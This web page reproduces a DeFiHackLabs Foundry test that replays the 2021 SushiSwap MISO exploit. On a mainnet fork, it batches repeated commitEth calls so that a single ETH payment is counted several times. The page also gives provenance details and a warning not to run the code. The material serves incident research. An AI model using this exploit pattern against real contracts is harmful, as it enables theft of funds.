Public reproduction file
src/test/2021-09/Sushimiso_exp.sol
Public reproduction file for dataset entry SushiSwap Miso.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!3pragma solidity >=0.7.0 <0.9.0;5import "forge-std/Test.sol";6import "./../interface.sol";8interface IDutchAuction {9 function commitEth(10 address payable _beneficiary,11 bool readAndAgreedToMarketParticipationAgreement12 ) external payable;14 function batch(15 bytes[] calldata calls,16 bool revertOnFail17 ) external payable returns (bool[] memory successes, bytes[] memory results);18}20contract ContractTest is Test {21 IDutchAuction DutchAuction = IDutchAuction(0x4c4564a1FE775D97297F9e3Dc2e762e0Ed5Dda0e);22 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);23 bytes[] public data;24 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);26 function setUp() public {27 cheats.createSelectFork("mainnet", 13_038_771); //fork mainnet at block 1303877128 }30 function testExploit() public {31 payable(address(0)).transfer(79_228_162_414_264_337_593_543_950_335);32 emit log_named_uint("Before exploit, ETH balance of attacker:", address(address(this)).balance);33 emit log_named_uint("Before exploit, ETH balance of DutchAuction:", address(DutchAuction).balance);34 bytes memory payload =35 abi.encodePacked(DutchAuction.commitEth.selector, uint256(uint160(address(this))), uint256(uint8(0x01)));36 data.push(payload);37 data.push(payload);38 data.push(payload);39 data.push(payload);40 data.push(payload);41 DutchAuction.batch{value: 100_000_000_000_000_000_000}(data, true);42 emit log_named_uint("After exploit, ETH balance of attacker:", address(address(this)).balance);43 emit log_named_uint("After exploit, ETH balance of DutchAuction:", address(DutchAuction).balance);44 }46 receive() external payable {}47}Analysis
Dataset entry
Public Foundry test for “SushiSwap Miso” (2021-09-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
5 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2021-09/DaoMaker_exp.solSame month in the dataset · 52 lines
- src/test/2021-09/Nimbus_exp.solSame month in the dataset · 41 lines
- src/test/2021-09/NowSwap_exp.solSame month in the dataset · 38 lines
- src/test/2021-09/ZABU_exp.solSame month in the dataset · 170 lines
- src/test/2023-04/Sushi_Router_exp.solSame protocol or name in the dataset · 94 lines
File record
- Name
- SushiSwap Miso
- Path
- src/test/2021-09/Sushimiso_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 2d1287308999f3392613dffa3176f29903c79fed
- Language
- Solidity
- Size
- 48 lines
- Date
- 2021-09-16
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2021-09/Sushimiso_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2d1287308999f3392613dffa3176f29903c79fed, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.